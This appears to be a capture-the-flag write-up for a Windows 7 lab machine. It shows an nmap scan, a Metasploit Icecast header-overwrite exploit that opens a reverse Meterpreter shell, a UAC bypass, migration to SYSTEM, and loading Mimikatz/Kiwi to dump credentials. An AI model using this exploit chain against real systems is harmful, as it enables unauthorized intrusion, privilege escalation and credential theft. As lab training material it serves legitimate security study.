Deploy & hack into a Windows machine, exploiting a very poorly secured media server.
1. Reconnaissance
1.1 Nmap
nmap -sS -sV -Pn -p- 10.10.32.87
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-19 20:52 IST
Nmap scan report for 10.10.32.87
Host is up (0.56s latency).
Not shown: 65525 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http Icecast streaming media server
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 687.26 seconds
Here we find that there is as http server running Icecast streaming media server on an unusual pot 8000
2. Gaining access
2.1 Metasploit
Searching metasploit for icecast exploits
msf6 > search icecast
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > set RHOSTS 10.10.32.87RHOSTS => 10.10.32.87
msf6 exploit(windows/http/icecast_header) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/http/icecast_header) > exploit
[*] Started reverse TCP handler on 10.11.66.165:4444
[*] Sending stage (175174 bytes) to 10.10.32.87
[*] Meterpreter session 1 opened (10.11.66.165:4444 -> 10.10.32.87:49173 ) at 2022-03-19 20:56:08 +0530
meterpreter > getuid
Server username: Dark-PC\Dark
meterpreter > sysinfo
Computer : DARK-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
We are logged in as user Dark with no privileges
3. Privilege Escalation
3.1 UAC Bypass
Running metasploit module post/multi/recon/local_exploit_suggester in the meterpreter session for finding any potential vulnerabilities
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.32.87 - Collecting local exploits for x86/windows...
[*] 10.10.32.87 - 40 exploit checks are being tried...
[+] 10.10.32.87 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[-] 10.10.32.87 - Post interrupted by the console user
We find the target is vulnerable to the exploit/windows/local/bypassuac_eventvwr module
Backgrounding the current meterpreter session with Ctrl + Z, we use the suggested module and provide the session number of our backgrounded session
meterpreter >
Background session 1? [y/N]
msf6 exploit(windows/local/bypassuac_eventvwr) > use exploit/windows/local/bypassuac_eventvwr
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit
[*] Started reverse TCP handler on 10.11.66.165:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 10.10.32.87
[*] Meterpreter session 2 opened (10.11.66.165:4444 -> 10.10.32.87:49195 ) at 2022-03-19 21:08:51 +0530
[*] Cleaning up registry keys ...
meterpreter > getuid
Server username: Dark-PC\Dark
meterpreter > ps -aux
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System
Process]
4 0 System x64 0
===================================================================
656 588 winlogon x64 1 NT AUTHORITY C:\Windows\S
.exe \SYSTEM ystem32\winl
ogon.exe
696 596 services x64 0 NT AUTHORITY C:\Windows\S
.exe \SYSTEM ystem32\serv
ices.exe
704 596 lsass.ex x64 0 NT AUTHORITY C:\Windows\S
e \SYSTEM ystem32\lsas
s.exe
======================================================================
1328 1304 explorer x64 1 Dark-PC\Dark C:\Windows\e
.exe xplorer.exe
1368 696 spoolsv. x64 0 NT AUTHORITY C:\Windows\S
exe \SYSTEM ystem32\spoo
lsv.exe
1396 696 svchost. x64 0 NT AUTHORITY C:\Windows\S
exe \LOCAL SERVI ystem32\svch
CE ost.exe
1436 696 taskhost x64 1 Dark-PC\Dark C:\Windows\S
.exe ystem32\task
host.exe
===================================================================
After using the module, we find that there are certain processes running as NT AUTHORITY\SYSTEM which is equivalent to the root user in linux.
We can also verify this if we could get names of privileged proccecess when running the getprivs command in the meterpreter session.
Right now we are the user Dark, but we can migrate to NT AUTHORITY\SYSTEM by using the migrate command and specifying the process name of any process running as NT AUTHORITY\SYSTEM.
meterpreter > migrate -N spoolsv.exe
[*] Migrating from 1492 to 1368...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Now we are NT AUTHORITY\SYSTEM
3.2 Kiwi
Mimikatz is a rather infamous password dumping tool that is incredibly useful. Loading using the command load kiwi (Kiwi is the updated version of Mimikatz)
using the command creds_all in kiwi to list all credentials
